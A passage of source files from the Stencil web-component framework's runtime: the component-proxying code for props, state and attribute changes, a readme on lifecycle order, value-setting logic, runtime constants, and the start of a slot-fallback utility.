    "content": "import { BUILD } from '@app-data';\nimport { consoleDevWarn, getHostRef, parsePropertyValue, plt } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS, HOST_FLAGS, MEMBER_FLAGS, WATCH_FLAGS } from '../utils/constants';\nimport { getPropertyDescriptor } from '../utils/get-prop-descriptor';\nimport { FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS, PROXY_FLAGS } from './runtime-constants';\nimport { getValue, setValue } from './set-value';\n\n/**\n * Attach a series of runtime constructs to a compiled Stencil component\n * constructor, including getters and setters for the `@Prop` and `@State`\n * decorators, callbacks for when attributes change, and so on.\n *\n * On a lazy loaded component, this is wired up to both the class instance\n * and the element separately. A `hostRef` keeps the 2 in sync.\n *\n * On a traditional component, this is wired up to the element only.\n *\n * @param Cstr the constructor for a component that we need to process\n * @param cmpMeta metadata collected previously about the component\n * @param flags a number used to store a series of bit flags\n * @returns a reference to the same constructor passed in (but now mutated)\n */\nexport const proxyComponent = (\n  Cstr: d.ComponentConstructor,\n  cmpMeta: d.ComponentRuntimeMeta,\n  flags: number,\n): d.ComponentConstructor => {\n  const prototype = (Cstr as any).prototype;\n\n  if (BUILD.isTesting) {\n    if (prototype.__stencilAugmented) {\n      // @ts-expect-error - we don't want to re-augment the prototype. This happens during spec tests.\n      return;\n    }\n    prototype.__stencilAugmented = true;\n  }\n\n  /**\n   * proxy form associated custom element lifecycle callbacks\n   * @ref https://web.dev/articles/more-capable-form-controls#lifecycle_callbacks\n   */\n  if (BUILD.formAssociated && cmpMeta.$flags$ & CMP_FLAGS.formAssociated && flags & PROXY_FLAGS.isElementConstructor) {\n    FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS.forEach((cbName) => {\n      const originalFormAssociatedCallback = prototype[cbName];\n      Object.defineProperty(prototype, cbName, {\n        value(this: d.HostElement, ...args: any[]) {\n          const hostRef = getHostRef(this);\n          const instance: d.ComponentInterface = BUILD.lazyLoad ? hostRef?.$lazyInstance$ : this;\n          if (!instance) {\n            hostRef?.$onReadyPromise$?.then((asyncInstance: d.ComponentInterface) => {\n              const cb = asyncInstance[cbName];\n              typeof cb === 'function' && cb.call(asyncInstance, ...args);\n            });\n          } else {\n            // Use the method on `instance` if `lazyLoad` is set, otherwise call the original method to avoid an infinite loop.\n            const cb = BUILD.lazyLoad ? instance[cbName] : originalFormAssociatedCallback;\n            typeof cb === 'function' && cb.call(instance, ...args);\n          }\n        },\n      });\n    });\n  }\n\n  if ((BUILD.member && cmpMeta.$members$) || BUILD.propChangeCallback) {\n    if (BUILD.propChangeCallback) {\n      if (Cstr.watchers && !cmpMeta.$watchers$) {\n        cmpMeta.$watchers$ = Cstr.watchers;\n      }\n      if (Cstr.deserializers && !cmpMeta.$deserializers$) {\n        cmpMeta.$deserializers$ = Cstr.deserializers;\n      }\n      if (Cstr.serializers && !cmpMeta.$serializers$) {\n        cmpMeta.$serializers$ = Cstr.serializers;\n      }\n    }\n    // It's better to have a const than two Object.entries()\n    const members = Object.entries(cmpMeta.$members$ ?? {});\n    members.map(([memberName, [memberFlags]]) => {\n      // is this member a `@Prop` or it's a `@State`\n      // AND either native component-element or it's a lazy class instance\n      if (\n        (BUILD.prop || BUILD.state) &&\n        (memberFlags & MEMBER_FLAGS.Prop ||\n          ((!BUILD.lazyLoad || flags & PROXY_FLAGS.proxyState) && memberFlags & MEMBER_FLAGS.State))\n      ) {\n        // preserve any getters / setters that already exist on the prototype;\n        // we'll call them via our new accessors. On a lazy component, this would only be called on the class instance.\n        const { get: origGetter, set: origSetter } = getPropertyDescriptor(prototype, memberName) || {};\n        if (origGetter) cmpMeta.$members$[memberName][0] |= MEMBER_FLAGS.Getter;\n        if (origSetter) cmpMeta.$members$[memberName][0] |= MEMBER_FLAGS.Setter;\n\n        if (flags & PROXY_FLAGS.isElementConstructor || !origGetter) {\n          // if it's an Element (native or proxy)\n          // OR it's a lazy class instance and doesn't have a getter\n          Object.defineProperty(prototype, memberName, {\n            get(this: d.RuntimeRef) {\n              if (BUILD.lazyLoad) {\n                if ((cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Getter) === 0) {\n                  // no getter - let's return value now\n                  return getValue(this, memberName);\n                }\n                const ref = getHostRef(this);\n                const instance = ref ? ref.$lazyInstance$ : prototype;\n                if (!instance) return;\n                return instance[memberName];\n              }\n              if (!BUILD.lazyLoad) {\n                return origGetter ? origGetter.apply(this) : getValue(this, memberName);\n              }\n            },\n            configurable: true,\n            enumerable: true,\n          });\n        }\n\n        Object.defineProperty(prototype, memberName, {\n          set(this: d.RuntimeRef, newValue) {\n            const ref = getHostRef(this);\n            if (!ref) {\n              return;\n            }\n\n            // only during dev\n            if (BUILD.isDev) {\n              if (\n                // we are proxying the instance (not element)\n                (flags & PROXY_FLAGS.isElementConstructor) === 0 &&\n                // if the class has a setter, then the Element can update instance values, so ignore\n                (cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter) === 0 &&\n                // the element is not constructing\n                (ref && ref.$flags$ & HOST_FLAGS.isConstructingInstance) === 0 &&\n                // the member is a prop\n                (memberFlags & MEMBER_FLAGS.Prop) !== 0 &&\n                // the member is not mutable\n                (memberFlags & MEMBER_FLAGS.Mutable) === 0\n              ) {\n                consoleDevWarn(\n                  `@Prop() \"${memberName}\" on <${cmpMeta.$tagName$}> is immutable but was modified from within the component.\\nMore information: https://stenciljs.com/docs/properties#prop-mutability`,\n                );\n              }\n            }\n\n            if (origSetter) {\n              // Lazy class instance or native component-element only:\n              // we have an original setter, so we need to set our value via that.\n\n              // do we have a value already?\n              const currentValue =\n                memberFlags & MEMBER_FLAGS.State\n                  ? this[memberName as keyof d.RuntimeRef]\n                  : ref.$hostElement$[memberName as keyof d.HostElement];\n\n              if (typeof currentValue === 'undefined' && ref.$instanceValues$.get(memberName)) {\n                // no host value but a value already set on the hostRef,\n                // this means the setter was added at run-time (e.g. via a decorator).\n                // We want any value set on the element to override the default class instance value.\n                newValue = ref.$instanceValues$.get(memberName);\n              }\n              // this sets the value via the `set()` function which\n              // *might* not end up changing the underlying value\n              origSetter.apply(this, [\n                parsePropertyValue(\n                  newValue,\n                  memberFlags,\n                  BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated),\n                ),\n              ]);\n              // if it's a State property, we need to get the value from the instance\n              newValue =\n                memberFlags & MEMBER_FLAGS.State\n                  ? this[memberName as keyof d.RuntimeRef]\n                  : ref.$hostElement$[memberName as keyof d.HostElement];\n              setValue(this, memberName, newValue, cmpMeta);\n              return;\n            }\n\n            if (!BUILD.lazyLoad) {\n              // we can set the value directly now if it's a native component-element\n              setValue(this, memberName, newValue, cmpMeta);\n              return;\n            }\n\n            if (BUILD.lazyLoad) {\n              // Lazy class instance OR proxy Element with no setter:\n              // set the element value directly now\n              if (\n                (flags & PROXY_FLAGS.isElementConstructor) === 0 ||\n                (cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter) === 0\n              ) {\n                setValue(this, memberName, newValue, cmpMeta);\n                // if this is a value set on an Element *before* the instance has initialized (e.g. via an html attr)...\n                if (flags & PROXY_FLAGS.isElementConstructor && !ref.$lazyInstance$) {\n                  // wait for lazy instance...\n                  ref.$fetchedCbList$.push(() => {\n                    // check if this instance member has a setter doesn't match what's already on the element\n                    if (\n                      cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter &&\n                      ref.$lazyInstance$[memberName] !== ref.$instanceValues$.get(memberName)\n                    ) {\n                      // this catches cases where there's a run-time only setter (e.g. via a decorator)\n                      // *and* no initial value, so the initial setter never gets called\n                      ref.$lazyInstance$[memberName] = newValue;\n                    }\n                  });\n                }\n                return;\n              }\n\n              // lazy element with a setter\n              // we might need to wait for the lazy class instance to be ready\n              // before we can set it's value via it's setter function\n              const setterSetVal = () => {\n                const currentValue = ref.$lazyInstance$[memberName];\n                if (!ref.$instanceValues$.get(memberName) && currentValue) {\n                  // on init `get()` make sure the hostRef matches class instance\n\n                  // the prop `set()` doesn't fire during `constructor()`:\n                  // no initial value gets set in the hostRef.\n                  // This means watchers fire even though the value hasn't changed.\n                  // So if there's a current value and no initial value, let's set it now.\n                  ref.$instanceValues$.set(memberName, currentValue);\n                }\n                // this sets the value via the `set()` function which\n                // might not end up changing the underlying value\n                ref.$lazyInstance$[memberName] = parsePropertyValue(\n                  newValue,\n                  memberFlags,\n                  BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated),\n                );\n                setValue(this, memberName, ref.$lazyInstance$[memberName], cmpMeta);\n              };\n\n              if (ref.$lazyInstance$) {\n                setterSetVal();\n              } else {\n                // the class is yet to be loaded / defined so queue the call\n                ref.$fetchedCbList$.push(() => {\n                  setterSetVal();\n                });\n              }\n            }\n          },\n        });\n      } else if (\n        BUILD.lazyLoad &&\n        BUILD.method &&\n        flags & PROXY_FLAGS.isElementConstructor &&\n        memberFlags & MEMBER_FLAGS.Method\n      ) {\n        // proxyComponent - method\n        Object.defineProperty(prototype, memberName, {\n          value(this: d.HostElement, ...args: any[]) {\n            const ref = getHostRef(this);\n            return ref?.$onInstancePromise$?.then(() => ref.$lazyInstance$?.[memberName](...args));\n          },\n        });\n      }\n    });\n\n    if (BUILD.observeAttribute && (!BUILD.lazyLoad || flags & PROXY_FLAGS.isElementConstructor)) {\n      const attrNameToPropName = new Map();\n\n      prototype.attributeChangedCallback = function (attrName: string, oldValue: string, newValue: string) {\n        plt.jmp(() => {\n          const propName = attrNameToPropName.get(attrName);\n          const hostRef = getHostRef(this);\n\n          if (\n            BUILD.serializer &&\n            hostRef.$serializerValues$.has(propName) &&\n            hostRef.$serializerValues$.get(propName) === newValue\n          ) {\n            // The newValue is the same as a saved serialized value from a prop update.\n            // The prop can be intentionally different from the attribute;\n            //  updating the underlying prop here can cause an infinite loop.\n            return;\n          }\n\n          //  In a web component lifecycle the attributeChangedCallback runs prior to connectedCallback\n          //  in the case where an attribute was set inline.\n          //  ```html\n          //    <my-component some-attribute=\"some-value\"></my-component>\n          //  ```\n          //\n          //  There is an edge case where a developer sets the attribute inline on a custom element and then\n          //  programmatically changes it before it has been upgraded as shown below:\n          //\n          //  ```html\n          //    <!-- this component has _not_ been upgraded yet -->\n          //    <my-component id=\"test\" some-attribute=\"some-value\"></my-component>\n          //    <script>\n          //      // grab non-upgraded component\n          //      el = document.querySelector(\"#test\");\n          //      el.someAttribute = \"another-value\";\n          //      // upgrade component\n          //      customElements.define('my-component', MyComponent);\n          //    </script>\n          //  ```\n          //  In this case if we do not un-shadow here and use the value of the shadowing property, attributeChangedCallback\n          //  will be called with `newValue = \"some-value\"` and will set the shadowed property (this.someAttribute = \"another-value\")\n          //  to the value that was set inline i.e. \"some-value\" from above example. When\n          //  the connectedCallback attempts to un-shadow it will use \"some-value\" as the initial value rather than \"another-value\"\n          //\n          //  The case where the attribute was NOT set inline but was not set programmatically shall be handled/un-shadowed\n          //  by connectedCallback as this attributeChangedCallback will not fire.\n          //\n          //  https://developers.google.com/web/fundamentals/web-components/best-practices#lazy-properties\n          //\n          //  TODO(STENCIL-16) we should think about whether or not we actually want to be reflecting the attributes to\n          //  properties here given that this goes against best practices outlined here\n          //  https://developers.google.com/web/fundamentals/web-components/best-practices#avoid-reentrancy\n          if (this.hasOwnProperty(propName) && BUILD.lazyLoad) {\n            newValue = this[propName];\n            delete this[propName];\n          }\n\n          if (BUILD.deserializer && cmpMeta.$deserializers$ && cmpMeta.$deserializers$[propName]) {\n            const setVal = (methodName: string, instance: any) => {\n              const deserializeVal = instance?.[methodName](newValue, propName);\n              if (deserializeVal !== this[propName]) {\n                this[propName] = deserializeVal;\n              }\n            };\n\n            for (const deserializer of cmpMeta.$deserializers$[propName]) {\n              const [[methodName]] = Object.entries(deserializer);\n              if (BUILD.lazyLoad) {\n                if (hostRef.$lazyInstance$) {\n                  setVal(methodName, hostRef.$lazyInstance$);\n                } else {\n                  // If the instance is not ready, we can queue the update\n                  hostRef.$fetchedCbList$.push(() => {\n                    setVal(methodName, hostRef.$lazyInstance$);\n                  });\n                }\n              } else {\n                setVal(methodName, this);\n              }\n            }\n            return;\n          } else if (\n            prototype.hasOwnProperty(propName) &&\n            typeof this[propName] === 'number' &&\n            // cast type to number to avoid TS compiler issues\n            this[propName] == (newValue as unknown as number)\n          ) {\n            // if the propName exists on the prototype of `Cstr`, this update may be a result of Stencil using native\n            // APIs to reflect props as attributes. Calls to `setAttribute(someElement, propName)` will result in\n            // `propName` to be converted to a `DOMString`, which may not be what we want for other primitive props.\n            return;\n          } else if (propName == null) {\n            // At this point we should know this is not a \"member\", so we can treat it like watching an attribute\n            // on a vanilla web component\n            const flags = hostRef?.$flags$;\n\n            // We only want to trigger the callback(s) if:\n            // 1. The instance is ready\n            // 2. The watchers are ready\n            // 3. The value has changed\n            if (hostRef && flags && !(flags & HOST_FLAGS.isConstructingInstance) && newValue !== oldValue) {\n              const elm = BUILD.lazyLoad ? hostRef.$hostElement$ : this;\n              const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : (elm as any);\n              const entry = cmpMeta.$watchers$?.[attrName];\n              entry?.forEach((watcher) => {\n                const [[watchMethodName, watcherFlags]] = Object.entries(watcher);\n                if (\n                  instance[watchMethodName] != null &&\n                  (flags & HOST_FLAGS.isWatchReady || watcherFlags & WATCH_FLAGS.Immediate)\n                ) {\n                  instance[watchMethodName].call(instance, newValue, oldValue, attrName);\n                }\n              });\n            }\n\n            return;\n          }\n\n          // special handling of boolean attributes. Null (removal) means false.\n          // everything else means true (including an empty string\n          const propFlags = members.find(([m]) => m === propName);\n          if (propFlags && propFlags[1][0] & MEMBER_FLAGS.Boolean) {\n            (newValue as any) = newValue === null || newValue === 'false' ? false : true;\n          }\n\n          // test whether this property either has no 'getter' or if it does, does it also have a 'setter'\n          // before attempting to write back to component props\n          const propDesc = Object.getOwnPropertyDescriptor(prototype, propName);\n          if (newValue != this[propName] && (!propDesc.get || !!propDesc.set)) {\n            this[propName] = newValue;\n          }\n        });\n      };\n\n      // Create an array of attributes to observe\n      // This list in comprised of all strings used within a `@Watch()` decorator\n      // on a component as well as any Stencil-specific \"members\" (`@Prop()`s and `@State()`s).\n      // As such, there is no way to guarantee type-safety here that a user hasn't entered\n      // an invalid attribute.\n      Cstr.observedAttributes = Array.from(\n        new Set([\n          ...Object.keys(cmpMeta.$watchers$ ?? {}),\n          ...members\n            .filter(([_, m]) => m[0] & MEMBER_FLAGS.HasAttribute)\n            .map(([propName, m]) => {\n              const attrName = m[1] || propName;\n              attrNameToPropName.set(attrName, propName);\n              if (BUILD.reflect && m[0] & MEMBER_FLAGS.ReflectAttr) {\n                cmpMeta.$attrsToReflect$?.push([propName, attrName]);\n              }\n\n              return attrName;\n            }),\n        ]),\n      );\n    }\n  }\n\n  return Cstr;\n};\n"
  },
  {
    "path": "src/runtime/readme.md",
    "content": "## Lifecycle Order Of Operations\n\nComponent lifecycle events fire `componentWillLoad` from top to bottom, then fire `componentDidLoad` from bottom to top. It should take into account each component can finish lazy-loaded requests in any random order. Additionally, any `componentWillLoad` can return a promise that all child components should wait on until it's resolved, while still keeping the correct firing order.\n\n```\n<cmp-a>\n  <cmp-b>\n    <cmp-c></cmp-c>\n  </cmp-b>\n</cmp-a>\n\ncmp-a - componentWillLoad\ncmp-b - componentWillLoad\ncmp-c - componentWillLoad\ncmp-c - componentDidLoad\ncmp-b - componentDidLoad\ncmp-a - componentDidLoad\n```\n\n\n## Hydrated CSS Visibility\n\nBy default, components are assigned `visibility: hidden` using their tag name as the css selector. Therefore, before the components and their descendants have finished hydrating, each component is hidden by default. This is done to prevent janky flickering as components hydrate asynchronously. As each component fully loads the `hydrated` css class is then added.\n\nThe `hydrated` css class that's added to the component assigns `visibility: inherit` style to the element. If any parent component is still hydrating then this component will not show until the top most component has added the `hydrated` css class.\n\n\n\n## Lifecycle Process\n\n- **Connect**: Synchronously within `connectedCallback`, each component looks for an ancestor component and adds itself as a child component if an ancestor is found.\n\n  - Climb up the parent elements with a while loop.\n\n  - Stop at the first element that has an `s-init` function.\n\n  - If the ancestor component we found hasn't ran its lifecycle update yet, then add this component to the ancestor's `s-al` set. The `s-al` is a set of child components that are actively loading.\n\n  - If no ancestor component is found then continue without the component setting an ancestor component.\n\n\n- **Initialize Component**: Initialize the component for the first time within `initializeComponent`.\n\n  - If the component has already initialized loading then do nothing. Data to know if the component has started to initialize is in the host ref data, which ensures it doesn't try to initialize more than once.\n\n  - Async request the lazy-loaded component constructor and await the response.\n\n  - After the component implementation constructor request has been received, create a new instance of the component with the lazy-loaded constructor.\n\n  - The constructor will directly wire the host element and lazy-loaded component instance together with the host ref data.\n\n  - If the component has an ancestor component, but the ancestor hasn't ran its lifecycle update yet, then this component should not be initialized at this moment and shouldn't fire its `componentWillLoad` yet. Instead, this component should be added to the ancestor component's array of render callbacks `s-rc`, which would call `initializeComponent` again after its ready. Once the ancestor component has ran its lifecycle update, it'll then call all of its child render callbacks so that the `componentWillLoad` lifecycle events are in the correct order.\n\n  - If there is no ancestor component, or the ancestor component has already rendered, then fire off the first update.\n\n  - When ready, `updateComponent` will be added as an async write task and ran asynchronously.\n\n\n- **First Update**: The first component update and render from within `updateComponent`.\n\n  - Set the lifecycle ready value `s-lr` to `false` signifying that the lifecycle update is not ready for this component.\n\n  - Fire off `componentWillLoad` lifecycle.\n\n  - Fire off `componentWillRender` lifecycle.\n\n  - Add scoped css data and classes for scoped encapsulation or shadow dom encapsulation without shadow dom browser support.\n\n  - Attach shadow root for shadow dom components.\n\n  - Attach styles to shadow root or document depending on encapsulation.\n\n  - First render.\n\n  - Set the lifecycle ready value `s-lr` to `true` signifying that the lifecycle update has happened and the component is now ready for child component lifecycles.\n\n  - Fire off all of this component's child render callbacks within `s-rc`. Each of the child render callbacks will fire off their own initialize component process.\n\n  - All component descendants should fire `componentWillLoad` lifecycle in the correct order, top to bottom.\n\n  - Fire `postUpdateComponent`. The bottom most component will not have any child render callbacks, so at this point the `componentDidLoad` lifecycle events should start firing from bottom to top.\n\n  - Fire off `componentDidLoad` lifecycle.\n\n  - Fire off `componentDidRender` lifecycle.\n\n  - Add `hydrated` css class signifying the component has finished loading. At this point this component has finished updating.\n\n  - If the component has an ancestor component, then remove this component from its set of actively loading children in `s-al`.\n\n  - After removing this component from the ancestor component's `s-al` set, if the set is now empty then fire the ancestor component's `s-init`.\n\n  - Firing `s-init` on the ancestor component allows the ancestor to complete its first update and fire its own `componentDidLoad` lifecycle event, allowing for `componentDidLoad` lifecycles to fire bottom to top.\n\n  - Fire all `componentOnReady` resolves.\n\n\n- **Subsequent Updates**: All subsequent component updates and re-renders from within `updateComponent`.\n\n  - Somehow `setValue` is triggered, either through a `Prop` or `State` update, or calling `forceUpdate()` on a component. If there is a change or a forced update, then `setValue` will add `updateComponent` to an async write task.\n\n  - Fire `updateComponent` from async task queue.\n\n  - Fire off `componentWillUpdate` lifecycle.\n\n  - Fire off `componentWillRender` lifecycle.\n\n  - Patch render.\n\n  - Fire `postUpdateComponent`.\n\n  - Fire off `componentDidUpdate` lifecycle.\n\n  - Fire off `componentDidRender` lifecycle.\n\n\n\n## Property Descriptions\n\n`s-al`: A component's `Set` of child components that are actively loading.\n\n`s-init`: A function to be called by child components to finish initializing the component.\n\n`s-lr`: The component's lifecycle ready status. `true` if the component has finished its lifecycle update, falsy if it is actively updating and has not fired off either `componentWillLoad` or `componentWillUpdate`.\n\n`s-rc`: A component's array of child component render callbacks. After a component renders, it should then fire off all of its child component render callbacks."
  },
  {
    "path": "src/runtime/render.ts",
    "content": "import type * as d from '../declarations';\nimport { renderVdom } from './vdom/vdom-render';\n\n/**\n * Method to render a virtual DOM tree to a container element.\n *\n * @example\n * ```tsx\n * import { render } from '@stencil/core';\n *\n * const vnode = (\n *   <div>\n *     <h1>Hello, world!</h1>\n *   </div>\n * );\n * render(vnode, document.body);\n * ```\n *\n * @param vnode - The virtual DOM tree to render\n * @param container - The container element to render the virtual DOM tree to\n */\nexport function render(vnode: d.VNode, container: Element) {\n  const cmpMeta: d.ComponentRuntimeMeta = {\n    $flags$: 0,\n    $tagName$: container.tagName,\n  };\n\n  const ref: d.HostRef = {\n    $flags$: 0,\n    $cmpMeta$: cmpMeta,\n    $hostElement$: container as d.HostElement,\n  };\n\n  renderVdom(ref, vnode);\n}\n"
  },
  {
    "path": "src/runtime/runtime-constants.ts",
    "content": "/**\n * Bit flags for recording various properties of VDom nodes\n */\nexport const enum VNODE_FLAGS {\n  /**\n   * Whether or not a vdom node is a slot reference\n   */\n  isSlotReference = 1 << 0,\n\n  /**\n   * Whether or not a slot element has fallback content\n   */\n  isSlotFallback = 1 << 1,\n\n  /**\n   * Whether or not an element is a host element\n   */\n  isHost = 1 << 2,\n}\n\nexport const enum PROXY_FLAGS {\n  isElementConstructor = 1 << 0,\n  proxyState = 1 << 1,\n}\n\nexport const enum PLATFORM_FLAGS {\n  /**\n   * designates a node in the DOM as being actively moved by the runtime\n   */\n  isTmpDisconnected = 1 << 0,\n  appLoaded = 1 << 1,\n  queueSync = 1 << 2,\n\n  queueMask = appLoaded | queueSync,\n}\n\n/**\n * A (subset) of node types which are relevant for the Stencil runtime. These\n * values are based on the values which can possibly be returned by the\n * `.nodeType` property of a DOM node. See here for details:\n *\n * {@link https://dom.spec.whatwg.org/#ref-for-dom-node-nodetype%E2%91%A0}\n */\nexport const enum NODE_TYPE {\n  ElementNode = 1,\n  TextNode = 3,\n  CommentNode = 8,\n  DocumentNode = 9,\n  DocumentTypeNode = 10,\n  DocumentFragment = 11,\n}\n\nexport const CONTENT_REF_ID = 'r';\nexport const ORG_LOCATION_ID = 'o';\nexport const SLOT_NODE_ID = 's';\nexport const TEXT_NODE_ID = 't';\nexport const COMMENT_NODE_ID = 'c';\n\nexport const HYDRATE_ID = 's-id';\nexport const HYDRATED_STYLE_ID = 'sty-id';\nexport const HYDRATE_CHILD_ID = 'c-id';\nexport const HYDRATED_CSS = '{visibility:hidden}.hydrated{visibility:inherit}';\n\nexport const STENCIL_DOC_DATA = '_stencilDocData';\nexport const DEFAULT_DOC_DATA = {\n  hostIds: 0,\n  rootLevelIds: 0,\n  staticComponents: new Set<string>(),\n};\n\n/**\n * Constant for styles to be globally applied to `slot-fb` elements for pseudo-slot behavior.\n *\n * Two cascading rules must be used instead of a `:not()` selector due to Stencil browser\n * support as of Stencil v4.\n */\nexport const SLOT_FB_CSS = 'slot-fb{display:contents}slot-fb[hidden]{display:none}';\n\nexport const XLINK_NS = 'http://www.w3.org/1999/xlink';\n\nexport const FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS = [\n  'formAssociatedCallback',\n  'formResetCallback',\n  'formDisabledCallback',\n  'formStateRestoreCallback',\n] as const;\n"
  },
  {
    "path": "src/runtime/set-value.ts",
    "content": "import { BUILD } from '@app-data';\nimport { consoleDevWarn, consoleError, getHostRef } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS, HOST_FLAGS, WATCH_FLAGS } from '../utils/constants';\nimport { parsePropertyValue } from './parse-property-value';\nimport { scheduleUpdate } from './update-component';\n\nexport const getValue = (ref: d.RuntimeRef, propName: string) => getHostRef(ref).$instanceValues$.get(propName);\n\nexport const setValue = (ref: d.RuntimeRef, propName: string, newVal: any, cmpMeta: d.ComponentRuntimeMeta) => {\n  // check our new property value against our internal value\n  const hostRef = getHostRef(ref);\n  if (!hostRef) {\n    return;\n  }\n\n  /**\n   * If the host element is not found, let's fail with a better error message and provide\n   * details on why this may happen. In certain cases, e.g. see https://github.com/stenciljs/core/issues/5457,\n   * users might import a component through e.g. a loader script, which causes confusions in runtime\n   * as there are multiple runtimes being loaded and/or different components used with different\n   * loading strategies, e.g. lazy vs implicitly loaded.\n   *\n   * Todo(STENCIL-1308): remove, once a solution for this was identified and implemented\n   */\n  if (BUILD.lazyLoad && !hostRef) {\n    throw new Error(\n      `Couldn't find host element for \"${cmpMeta.$tagName$}\" as it is ` +\n        'unknown to this Stencil runtime. This usually happens when integrating ' +\n        'a 3rd party Stencil component with another Stencil component or application. ' +\n        'Please reach out to the maintainers of the 3rd party Stencil component or report ' +\n        'this on the Stencil Discord server (https://chat.stenciljs.com) or comment ' +\n        'on this similar [GitHub issue](https://github.com/stenciljs/core/issues/5457).',\n    );\n  }\n\n  if (\n    BUILD.serializer &&\n    hostRef.$serializerValues$.has(propName) &&\n    hostRef.$serializerValues$.get(propName) === newVal\n  ) {\n    // The newValue is the same as a saved serialized value from a prop update.\n    // The prop can be intentionally different from the attribute;\n    // updating the underlying prop here can cause an infinite loop.\n    return;\n  }\n\n  const elm = BUILD.lazyLoad ? hostRef.$hostElement$ : (ref as d.HostElement);\n  const oldVal = hostRef.$instanceValues$.get(propName);\n  const flags = hostRef.$flags$;\n  const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : (elm as any);\n  newVal = parsePropertyValue(\n    newVal,\n    cmpMeta.$members$[propName][0],\n    BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated),\n  );\n\n  // explicitly check for NaN on both sides, as `NaN === NaN` is always false\n  const areBothNaN = Number.isNaN(oldVal) && Number.isNaN(newVal);\n  const didValueChange = newVal !== oldVal && !areBothNaN;\n  if ((!BUILD.lazyLoad || !(flags & HOST_FLAGS.isConstructingInstance) || oldVal === undefined) && didValueChange) {\n    // gadzooks! the property's value has changed!!\n    // set our new value!\n    hostRef.$instanceValues$.set(propName, newVal);\n\n    if (BUILD.serializer && BUILD.reflect && cmpMeta.$attrsToReflect$) {\n      if (cmpMeta.$serializers$ && cmpMeta.$serializers$[propName]) {\n        // this property has a serializer method\n        const runSerializer = (inst: any) => {\n          let attrVal = newVal;\n          for (const serializer of cmpMeta.$serializers$[propName]) {\n            const [[methodName]] = Object.entries(serializer);\n            // call the serializer methods\n            attrVal = inst[methodName](attrVal, propName);\n          }\n          // keep the serialized value - it's used in `renderVdom()` (vdom-render.ts)\n          // to set the attribute on the vnode\n          hostRef.$serializerValues$.set(propName, attrVal);\n        };\n\n        if (instance) {\n          runSerializer(instance);\n        } else {\n          // Instance not ready yet, queue the serialization for later\n          hostRef.$fetchedCbList$.push(() => {\n            runSerializer(hostRef.$lazyInstance$);\n          });\n        }\n      }\n    }\n\n    if (BUILD.isDev) {\n      if (hostRef.$flags$ & HOST_FLAGS.devOnRender) {\n        consoleDevWarn(\n          `The state/prop \"${propName}\" changed during rendering. This can potentially lead to infinite-loops and other bugs.`,\n          '\\nElement',\n          elm,\n          '\\nNew value',\n          newVal,\n          '\\nOld value',\n          oldVal,\n        );\n      } else if (hostRef.$flags$ & HOST_FLAGS.devOnDidLoad) {\n        consoleDevWarn(\n          `The state/prop \"${propName}\" changed during \"componentDidLoad()\", this triggers extra re-renders, try to setup on \"componentWillLoad()\"`,\n          '\\nElement',\n          elm,\n          '\\nNew value',\n          newVal,\n          '\\nOld value',\n          oldVal,\n        );\n      }\n    }\n\n    // get an array of method names of watch functions to call\n    if (BUILD.propChangeCallback && cmpMeta.$watchers$) {\n      const watchMethods = cmpMeta.$watchers$[propName];\n\n      if (watchMethods) {\n        // this instance is watching for when this property changed\n        watchMethods.map((watcher) => {\n          try {\n            const [[watchMethodName, watcherFlags]] = Object.entries(watcher);\n            if (flags & HOST_FLAGS.isWatchReady || watcherFlags & WATCH_FLAGS.Immediate) {\n              // fire off each of the watch methods that are watching this property\n              if (!instance) {\n                hostRef.$fetchedCbList$.push(() => {\n                  hostRef.$lazyInstance$[watchMethodName](newVal, oldVal, propName);\n                });\n              } else {\n                instance[watchMethodName](newVal, oldVal, propName);\n              }\n            }\n          } catch (e) {\n            consoleError(e, elm);\n          }\n        });\n      }\n    }\n\n    if (BUILD.updatable && flags & HOST_FLAGS.hasRendered) {\n      if (instance.componentShouldUpdate) {\n        const shouldUpdate = instance.componentShouldUpdate(newVal, oldVal, propName);\n        // skip scheduling if componentShouldUpdate returns false AND we're not already queued.\n        // If already queued, the render will happen anyway with all the batched prop changes.\n        if (shouldUpdate === false && !(flags & HOST_FLAGS.isQueuedForUpdate)) {\n          return;\n        }\n      }\n\n      // looks like this value actually changed, so we've got work to do!\n      // but only if we've already rendered, otherwise just chill out\n      // queue that we need to do an update, but don't worry about queuing\n      // up millions cuz this function ensures it only runs once\n      if (!(flags & HOST_FLAGS.isQueuedForUpdate)) {\n        scheduleUpdate(hostRef, false);\n      }\n    }\n  }\n};\n"
  },
  {
    "path": "src/runtime/slot-polyfill-utils.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\nimport { internalCall } from './dom-extras';\nimport { NODE_TYPE } from './runtime-constants';\n\n/**\n * Adjust the `.hidden` property as-needed on any nodes in a DOM subtree which\n * are slot fallback nodes - `<slot-fb>...</slot-fb>`\n *\n * A slot fallback node should be visible by default. Then, it should be\n * conditionally hidden if:\n *\n * - it has a sibling with a `slot` property set to its slot name or if\n * - it is a default fallback slot node, in which case we hide if it has any\n *   content\n *\n * @param elm the element of interest\n */\nexport const updateFallbackSlotVisibility = (elm: d.RenderNode) => {\n  const childNodes = internalCall(elm, 'childNodes');\n\n  // is this is a stencil component?\n  if (elm.tagName && elm.tagName.includes('-') && elm['s-cr'] && elm.tagName !== 'SLOT-FB') {\n    // stencil component - try to find any slot fallback nodes\n    getHostSlotNodes(childNodes as any, (elm as HTMLElement).tagName).forEach((slotNode) => {\n      if (slotNode.nodeType === NODE_TYPE.ElementNode && slotNode.tagName === 'SLOT-FB') {\n        // this is a slot fallback node\n        if (getSlotChildSiblings(slotNode, getSlotName(slotNode), false).length) {\n          // has slotted nodes, hide fallback\n          slotNode.hidden = true;\n        } else {\n          // no slotted nodes\n          slotNode.hidden = false;\n        